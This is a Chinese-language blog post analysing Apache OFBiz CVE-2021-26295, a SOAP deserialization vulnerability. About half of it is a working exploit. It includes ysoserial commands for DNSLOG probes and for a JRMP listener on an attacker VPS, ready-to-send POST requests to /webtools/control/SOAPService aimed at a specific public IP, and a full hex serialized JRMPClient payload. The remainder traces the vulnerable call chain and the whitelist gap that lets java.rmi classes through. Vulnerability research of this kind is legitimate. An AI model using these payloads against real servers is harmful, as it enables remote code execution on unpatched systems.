Loading

Apache Ofbiz CVE-2021-26295分析

漏洞影响版本:apache:ofbiz<17.12.06
补丁代码:https://github.com/apache/ofbiz-framework/commit/af9ed4e/
漏洞触发路径:https://ip:8443/webtools/control/SOAPService

漏洞复现

环境搭建:
docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz

漏洞检测

利用DNSLOG链,以下是命令,用于生成16进制表示的字节码。

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar URLDNS http://dnslog.com | xxd -p -c 10000000

或者
java -jar ysoserial.jar URLDNS http://kzjtft.dnslog.cn >1.bin
用以下脚本进行二进制转16进制

import binascii

# 提示用户输入文件名
filename = input("请输入文件名: ")

try:
    with open(filename, 'rb') as f:
        content = f.read()
        hex_content = binascii.hexlify(content)
        print(hex_content.decode())  # 将字节数据解码为字符串并打印出来
except FileNotFoundError:
    print(f"文件 '{filename}' 不存在。请确保文件名正确并存在。")
except Exception as e:
    print(f"发生错误: {e}")

写入请求中
POC1:

POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875

<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
<ying:cus-obj>内容</ying:cus-obj>
</ying:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>

POC2:

POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 1023

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    	<soapenv:Header/>
		<soapenv:Body>
		<ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <cus-obj>内容</cus-obj>
            </map-Key>
            <map-Value>
                <std-String value="http://kif4v7.dnslog.cn"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
		</ser>
		</soapenv:Body>
		</soapenv:Envelope>

注意

测试中发现,同一个dnslog地址执行的第一次有响应,第二次就没了,猜测是dns服务器有缓存的缘故,所以尽量每次用不同的dnslog地址

漏洞利用

必须使用低版本java生成payload,防止产生兼容性问题,比如jdk8_05

利用RMI反序列化进行攻击

VPS启动RMI服务端,进行攻击客户端

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "calc.exe"

生成RMI客户端的序列化字符串,放入poc的xml中

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar JRMPClient "127.0.0.1:1099" | xxd -p -c 10000000

构造payload字符串发送到目标服务器

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header/>

    <soapenv:Body>

<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>

</ser>

    </soapenv:Body>

</soapenv:Envelope>

SOAPEventHandler类

SOAPEventHandler是一个处理SOAP消息的事件处理器,在此漏洞中起关键作用,通过以下步骤进行调试查找

查看更新的代码
https://github.com/apache/ofbiz-framework/compare/release17.12.05...release17.12.06#files_bucket
image.png
其中在 framework/base/src/main/java/org/apache/ofbiz/base/util/SafeObjectInputStream.java处添加了过滤java.rmi.server类的逻辑

查找SafeObjectInputStream类的调用位置
在org/apache/ofbiz/base/util/UtilObject.java:112的getObjectException方法内
image.png
跟踪getObjectException方法的调用位置org/apache/ofbiz/base/util/UtilObject.java:95
image.png
继续反向跟踪调用点
org/apache/ofbiz/entity/serialize/XmlSerializer.java:475
image.png
最后到org.apache.ofbiz.service.engine.SoapSerializer处
image.png
SoapSerializer看名字是一个处理soap序列化相关的类,在org/apache/ofbiz/webapp/event/SOAPEventHandler.java中被调用,SOAPEventHandler是一个处理SOAP消息的事件处理器
image.png
在org/apache/ofbiz/webapp/event/SOAPEventHandler.java:177处进行了反序列化操作SoapSerializer.deserialize
image.png
其中看到serviceElement从reqBody获得,貌似是从请求的body中拿到的,向上跟踪下reqBody即可看到确实是这样
image.png

request.getInputStream() 返回一个 ServletInputStream 对象,您可以使用它来读取HTTP请求的主体数据。您可以从输入流中读取字节,以获取请求正文的内容。通常,这对于处理表单提交、文件上传以及其他包含大量数据的HTTP POST请求非常有用。

以下为大致请求逻辑
发送带有soap消息格式的request -> SOAPEventHandler:invoke() -> SoapSerializer:deserialize() -> XmlSerializer:多层调用-> deserializeCustom() -> UtilObject.getObject()-> getObjectException() -> SafeObjectInputStream:return wois.readObject(); -> 反序列化完成

白名单绕过导致RMI反序列化

在org/apache/ofbiz/base/util/SafeObjectInputStream.java的白名单中,whitelistPattern匹配了class是否在这个白名单内,而这个白名单则是出现绕过的地方
image.png

向上调试可发现,白名单如下,忽略了java..*中的java.rmi包,而这个包中可以利用RMI反序列化漏洞image.png

posted @ 2024-02-06 22:29  Atomovo  阅读(33)  评论(0编辑  收藏  举报